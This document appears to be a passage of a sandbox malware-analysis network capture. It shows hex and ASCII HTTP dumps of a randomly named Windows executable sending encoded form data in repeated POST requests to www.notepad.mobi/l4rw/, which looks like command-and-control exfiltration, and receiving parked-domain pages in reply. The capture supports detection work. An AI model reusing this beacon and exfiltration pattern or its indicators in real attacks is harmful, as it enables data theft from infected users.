                                                                                                                                                                              Oct 2, 2024 15:16:19.410361052 CEST1236INData Raw: 66 6f 6c 6c 6f 77 3e 3c 69 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 74 72 75 65 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c
                                                                                                                                                                              Data Ascii: follow><i aria-hidden=true class="fas fa-graduation-cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.c
                                                                                                                                                                              Oct 2, 2024 15:16:19.410399914 CEST896INData Raw: 6c 79 20 66 61 73 74 2c 20 73 65 63 75 72 65 20 61 6e 64 20 75 73 65 72 2d 66 72 69 65 6e 64 6c 79 20 77 65 62 73 69 74 65 20 68 6f 73 74 69 6e 67 20 66 6f 72 20 79 6f 75 72 20 73 75 63 63 65 73 73 66 75 6c 20 6f 6e 6c 69 6e 65 20 70 72 6f 6a 65
                                                                                                                                                                              Data Ascii: ly fast, secure and user-friendly website hosting for your successful online projects.</p><br><a href=https://www.hostinger.com rel=nofollow>Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=co
                                                                                                                                                                              Oct 2, 2024 15:16:19.410495996 CEST1236INData Raw: 76 65 72 73 2d 61 74 2d 68 6f 73 74 69 6e 67 65 72 20 72 65 6c 3d 6e 6f 66 6f 6c 6c 6f 77 3e 43 68 61 6e 67 65 20 6e 61 6d 65 73 65 72 76 65 72 73 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76
                                                                                                                                                                              Data Ascii: vers-at-hostinger rel=nofollow>Change nameservers</a></div></div></div></div></div><script>var punycode=new function(){this.utf16={decode:function(o){for(var r,e,n=[],t=0,a=o.length;t<a;){if(55296==(63488&(r=o.charCodeAt(t++)))){if(e=o.charCod
                                                                                                                                                                              Oct 2, 2024 15:16:19.410530090 CEST1236INData Raw: 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 69 66 28 76 3d 65 2e 63 68 61 72 43 6f 64 65 41 74 28 64 2b 2b 29 2c 6f 3c 3d 28 73 3d 76 2d 34 38 3c 31 30 3f 76 2d 32 32 3a 76 2d 36 35 3c 32 36 3f 76 2d 36
                                                                                                                                                                              Data Ascii: ror("punycode_bad_input(1)");if(v=e.charCodeAt(d++),o<=(s=v-48<10?v-22:v-65<26?v-65:v-97<26?v-97:o))throw RangeError("punycode_bad_input(2)");if(s>Math.floor((r-f)/p))throw RangeError("punycode_overflow(1)");if(f+=s*p,s<(C=g<=i?1:i+26<=g?26:g-
                                                                                                                                                                              Oct 2, 2024 15:16:19.410567045 CEST640INData Raw: 29 29 3b 67 2b 3d 6f 29 79 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 28 73 2b 28 70 2d 73 29 25 28 6f 2d 73 29 2c 30 29 29 29 2c 70 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 28 70 2d 73 29 2f 28 6f 2d 73 29 29 3b
                                                                                                                                                                              Data Ascii: ));g+=o)y.push(String.fromCharCode(e(s+(p-s)%(o-s),0))),p=Math.floor((p-s)/(o-s));y.push(String.fromCharCode(e(p,a&&w[d]?1:0))),u=n(f,i+1,i==c),f=0,++i}}++f,++h}return y.join("")},this.ToASCII=function(o){for(var r=o.split("."),e=[],n=0;n<r.le
                                                                                                                                                                              Oct 2, 2024 15:16:19.410649061 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              Server: hcdn
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:16:19 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 10072
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                              x-hcdn-request-id: 2041d0f482dc6899e40e3f3b4113908f-bos-edge2
                                                                                                                                                                              Expires: Wed, 02 Oct 2024 13:16:18 GMT
                                                                                                                                                                              Cache-Control: no-cache
                                                                                                                                                                              Accept-Ranges: bytes
                                                                                                                                                                              Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              1192.168.2.749706199.59.243.227806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:16:34.548511028 CEST770OUTPOST /l4rw/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.notepad.mobi
                                                                                                                                                                              Origin: http://www.notepad.mobi
                                                                                                                                                                              Referer: http://www.notepad.mobi/l4rw/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 220
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 57 7a 6a 42 73 6d 61 2b 4e 6b 65 68 71 6f 35 76 66 4b 38 38 47 63 79 46 50 2b 38 38 67 6c 6f 56 6b 77 7a 52 72 38 31 38 58 59 39 35 73 66 41 53 4c 49 45 53 43 4f 4f 79 46 33 65 41 63 6f 72 62 41 53 41 36 43 50 51 43 43 62 43 35 33 43 59 2b 4a 75 62 73 44 2b 6e 49 52 77 75 4d 48 4f 30 46 50 30 6b 69 42 52 39 47 48 78 6e 56 5a 79 53 59 79 48 43 44 67 65 48 37 67 56 37 5a 34 6d 43 65 79 37 51 41 76 76 65 74 70 68 6f 78 77 6d 2b 5a 6a 67 66 44 72 32 79 4c 2b 64 32 77 59 70 33 50 6b 50 4c 30 6c 43 43 34 6f 65 6a 56 32 31 56 4f 6e 50 46 47 51 38 63 35 6b 4a 69 38 6a 64 76 73 45 53 72 77 41 45 4f 39 2f 66 74 6c 77 57 65 38 33 77 3d 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=WzjBsma+Nkehqo5vfK88GcyFP+88gloVkwzRr818XY95sfASLIESCOOyF3eAcorbASA6CPQCCbC53CY+JubsD+nIRwuMHO0FP0kiBR9GHxnVZySYyHCDgeH7gV7Z4mCey7QAvvetphoxwm+ZjgfDr2yL+d2wYp3PkPL0lCC4oejV21VOnPFGQ8c5kJi8jdvsESrwAEO9/ftlwWe83w==
                                                                                                                                                                              Oct 2, 2024 15:16:35.011574030 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              date: Wed, 02 Oct 2024 13:16:34 GMT
                                                                                                                                                                              content-type: text/html; charset=utf-8
                                                                                                                                                                              content-length: 1114
                                                                                                                                                                              x-request-id: 12803651-3c79-4c4e-8002-eb98d595f36c
                                                                                                                                                                              cache-control: no-store, max-age=0
                                                                                                                                                                              accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                              critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                              vary: sec-ch-prefers-color-scheme
                                                                                                                                                                              x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_k/d3VC+yVwPv315CAHbDNlnRKAwyZP/mrOjWHSiQuzLig9NbMi0CwUIe38g6N1I4J6S+qUXsN6/4B/pOUWV6Bg==
                                                                                                                                                                              set-cookie: parking_session=12803651-3c79-4c4e-8002-eb98d595f36c; expires=Wed, 02 Oct 2024 13:31:34 GMT; path=/
                                                                                                                                                                              connection: close
                                                                                                                                                                              Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6b 2f 64 33 56 43 2b 79 56 77 50 76 33 31 35 43 41 48 62 44 4e 6c 6e 52 4b 41 77 79 5a 50 2f 6d 72 4f 6a 57 48 53 69 51 75 7a 4c 69 67 39 4e 62 4d 69 30 43 77 55 49 65 33 38 67 36 4e 31 49 34 4a 36 53 2b 71 55 58 73 4e 36 2f 34 42 2f 70 4f 55 57 56 36 42 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_k/d3VC+yVwPv315CAHbDNlnRKAwyZP/mrOjWHSiQuzLig9NbMi0CwUIe38g6N1I4J6S+qUXsN6/4B/pOUWV6Bg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                                                                                                              Oct 2, 2024 15:16:35.011605024 CEST567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                                                                                                              Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTI4MDM2NTEtM2M3OS00YzRlLTgwMDItZWI5OGQ1OTVmMzZjIiwicGFnZV90aW1lIjoxNzI3ODc0OT


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              2192.168.2.749708199.59.243.227806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:16:37.091536999 CEST790OUTPOST /l4rw/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.notepad.mobi
                                                                                                                                                                              Origin: http://www.notepad.mobi
                                                                                                                                                                              Referer: http://www.notepad.mobi/l4rw/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 240
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 57 7a 6a 42 73 6d 61 2b 4e 6b 65 68 37 35 4a 76 64 70 55 38 52 73 79 47 46 65 38 38 75 46 6f 5a 6b 77 2f 52 72 2b 5a 57 57 71 5a 35 73 2f 51 53 4b 4e 6f 53 46 4f 4f 79 4c 58 65 42 42 34 72 41 41 53 4e 46 43 4f 73 43 43 62 47 35 33 47 63 2b 4a 64 7a 74 4d 4f 6e 4b 5a 51 75 4f 61 2b 30 46 50 30 6b 69 42 52 70 38 48 78 2f 56 61 43 69 59 7a 6a 57 4d 2f 75 48 34 6c 6c 37 5a 38 6d 43 46 79 37 51 79 76 75 43 48 70 69 51 78 77 6d 75 5a 6a 78 66 45 69 32 79 4e 77 39 32 67 63 4c 6a 42 74 75 76 48 69 30 47 44 6d 75 58 71 7a 44 49 73 39 74 4a 71 4f 74 6b 43 67 4c 47 4b 30 37 79 5a 47 54 76 6f 4e 6d 36 63 67 6f 49 50 39 45 2f 34 68 45 51 67 5a 78 32 73 67 77 53 70 31 58 37 34 7a 67 33 54 34 65 6b 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=WzjBsma+Nkeh75JvdpU8RsyGFe88uFoZkw/Rr+ZWWqZ5s/QSKNoSFOOyLXeBB4rAASNFCOsCCbG53Gc+JdztMOnKZQuOa+0FP0kiBRp8Hx/VaCiYzjWM/uH4ll7Z8mCFy7QyvuCHpiQxwmuZjxfEi2yNw92gcLjBtuvHi0GDmuXqzDIs9tJqOtkCgLGK07yZGTvoNm6cgoIP9E/4hEQgZx2sgwSp1X74zg3T4ek=
                                                                                                                                                                              Oct 2, 2024 15:16:37.530669928 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              date: Wed, 02 Oct 2024 13:16:37 GMT
                                                                                                                                                                              content-type: text/html; charset=utf-8
                                                                                                                                                                              content-length: 1114
                                                                                                                                                                              x-request-id: fbdb0fda-da7f-418c-9aa8-b1b56ad5c6f3
                                                                                                                                                                              cache-control: no-store, max-age=0
                                                                                                                                                                              accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                              critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                              vary: sec-ch-prefers-color-scheme
                                                                                                                                                                              x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_k/d3VC+yVwPv315CAHbDNlnRKAwyZP/mrOjWHSiQuzLig9NbMi0CwUIe38g6N1I4J6S+qUXsN6/4B/pOUWV6Bg==
                                                                                                                                                                              set-cookie: parking_session=fbdb0fda-da7f-418c-9aa8-b1b56ad5c6f3; expires=Wed, 02 Oct 2024 13:31:37 GMT; path=/
                                                                                                                                                                              connection: close
                                                                                                                                                                              Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6b 2f 64 33 56 43 2b 79 56 77 50 76 33 31 35 43 41 48 62 44 4e 6c 6e 52 4b 41 77 79 5a 50 2f 6d 72 4f 6a 57 48 53 69 51 75 7a 4c 69 67 39 4e 62 4d 69 30 43 77 55 49 65 33 38 67 36 4e 31 49 34 4a 36 53 2b 71 55 58 73 4e 36 2f 34 42 2f 70 4f 55 57 56 36 42 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_k/d3VC+yVwPv315CAHbDNlnRKAwyZP/mrOjWHSiQuzLig9NbMi0CwUIe38g6N1I4J6S+qUXsN6/4B/pOUWV6Bg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                                                                                                                              Oct 2, 2024 15:16:37.530713081 CEST567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                                                                                                                              Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZmJkYjBmZGEtZGE3Zi00MThjLTlhYTgtYjFiNTZhZDVjNmYzIiwicGFnZV90aW1lIjoxNzI3ODc0OT


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              3192.168.2.749709199.59.243.227806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:16:39.633575916 CEST1803OUTPOST /l4rw/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.notepad.mobi
                                                                                                                                                                              Origin: http://www.notepad.mobi
                                                                                                                                                                              Referer: http://www.notepad.mobi/l4rw/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 1252
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 57 7a 6a 42 73 6d 61 2b 4e 6b 65 68 37 35 4a 76 64 70 55 38 52 73 79 47 46 65 38 38 75 46 6f 5a 6b 77 2f 52 72 2b 5a 57 57 71 52 35 73 4e 6f 53 4b 71 38 53 45 4f 4f 79 56 48 65 4d 42 34 72 42 41 54 6c 4a 43 4f 68 67 43 5a 4f 35 32 6c 45 2b 42 4d 7a 74 58 65 6e 4b 47 41 75 50 48 4f 30 51 50 33 63 6d 42 52 35 38 48 78 2f 56 61 41 36 59 31 33 43 4d 35 75 48 37 67 56 37 72 34 6d 44 4c 79 37 4a 46 76 75 47 39 70 7a 77 78 7a 43 79 5a 69 44 33 45 36 6d 79 50 7a 39 33 2f 63 4c 2b 44 74 75 7a 78 69 30 62 6d 6d 70 6a 71 79 53 31 74 6f 63 52 47 52 62 49 33 6b 72 53 75 36 62 79 4c 50 68 53 56 4c 6c 79 63 68 35 6c 78 32 30 58 4d 6b 6a 31 73 49 67 48 54 70 77 65 78 6c 33 57 56 6b 43 7a 31 69 61 4a 5a 44 66 79 4d 63 2b 52 65 32 65 5a 32 30 45 4f 55 57 78 53 51 56 65 4b 30 77 6c 44 34 51 51 4e 4b 69 35 41 2f 59 4d 74 69 61 66 64 4e 52 33 44 33 69 64 6b 79 6e 49 30 68 70 79 70 50 30 56 52 30 56 64 66 59 55 53 35 38 2f 53 58 6f 66 41 53 31 4b 37 39 79 70 7a 6c 76 4b 6b 51 4c 74 4b 55 6d 6e 34 [TRUNCATED]
                                                                                                                                                                              Data Ascii: PDnL0H4=WzjBsma+Nkeh75JvdpU8RsyGFe88uFoZkw/Rr+ZWWqR5sNoSKq8SEOOyVHeMB4rBATlJCOhgCZO52lE+BMztXenKGAuPHO0QP3cmBR58Hx/VaA6Y13CM5uH7gV7r4mDLy7JFvuG9pzwxzCyZiD3E6myPz93/cL+Dtuzxi0bmmpjqyS1tocRGRbI3krSu6byLPhSVLlych5lx20XMkj1sIgHTpwexl3WVkCz1iaJZDfyMc+Re2eZ20EOUWxSQVeK0wlD4QQNKi5A/YMtiafdNR3D3idkynI0hpypP0VR0VdfYUS58/SXofAS1K79ypzlvKkQLtKUmn4HZI0Hq5tJz3fY4kU5eb5IbpBV+lx4043T2gYqGRZkoPVCD80L5nA/3+rWjP6vtVHsDMR6CpzUbLI4V3p2QN6Qlp73z11rSKbnv810GcXdl3vC8lX6Wcfcvu/goes5PYPknaqo664SzNLLrKjRWlSMtpAM/WSXFdgWHlk6dCwn0RRKrod4ChHg6XA1XPBgAMQPbhFkjioiHuHFxv2MGVvRxk1fVI5IrVDeDcb9Eu/LVhR5AaYjCqvihCqDdUOrI7YfnqzNMAbwNxBPGP3K/r89LpZd/dhEV0/EAVlC4aUftXr0ozkPcNaI6f6Mhz1HfUZkxplLy/TG8eSCA9ugb1iyfnS5QJUabzF7KRSwpbYB65sVNc1WzBC8C96lUnMIMoJBj9V10BOgnm/GoMWxtYcX5PbYjfFKPiCNwTy2W8rTRykeyBv/hGqTz/Ji4tJ54Ku6xggKkrtpHpOXvAYMaYLUcv+Klv2D9HVeho5U2gZMBzBTsJa9A5eoNwjQYjoT94Cc5K7mN4Vo6f6QRcIQsHfhlf7ydY6cW5F0ZfBw+rXqTo/CI0MI1AS/E41LC/302/nQ/auCZ+4JJlxSIRXSLQsgohSWE6nTvGAet/R+8B0krOO/BMhEQiD6orF56crxEbUa0tj/nrWvKwybayztpAn1OyG+wzhaBSNTQ [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:16:40.097243071 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              date: Wed, 02 Oct 2024 13:16:39 GMT
                                                                                                                                                                              content-type: text/html; charset=utf-8
                                                                                                                                                                              content-length: 1114
                                                                                                                                                                              x-request-id: 111cdc96-1684-4deb-ac19-5c109439ed92
                                                                                                                                                                              cache-control: no-store, max-age=0
                                                                                                                                                                              accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                              critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                              vary: sec-ch-prefers-color-scheme
                                                                                                                                                                              x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_k/d3VC+yVwPv315CAHbDNlnRKAwyZP/mrOjWHSiQuzLig9NbMi0CwUIe38g6N1I4J6S+qUXsN6/4B/pOUWV6Bg==
                                                                                                                                                                              set-cookie: parking_session=111cdc96-1684-4deb-ac19-5c109439ed92; expires=Wed, 02 Oct 2024 13:31:40 GMT; path=/
                                                                                                                                                                              connection: close
                                                                                                                                                                              Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6b 2f 64 33 56 43 2b 79 56 77 50 76 33 31 35 43 41 48 62 44 4e 6c 6e 52 4b 41 77 79 5a 50 2f 6d 72 4f 6a 57 48 53 69 51 75 7a 4c 69 67 39 4e 62 4d 69 30 43 77 55 49 65 33 38 67 36 4e 31 49 34 4a 36 53 2b 71 55 58 73 4e 36 2f 34 42 2f 70 4f 55 57 56 36 42 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
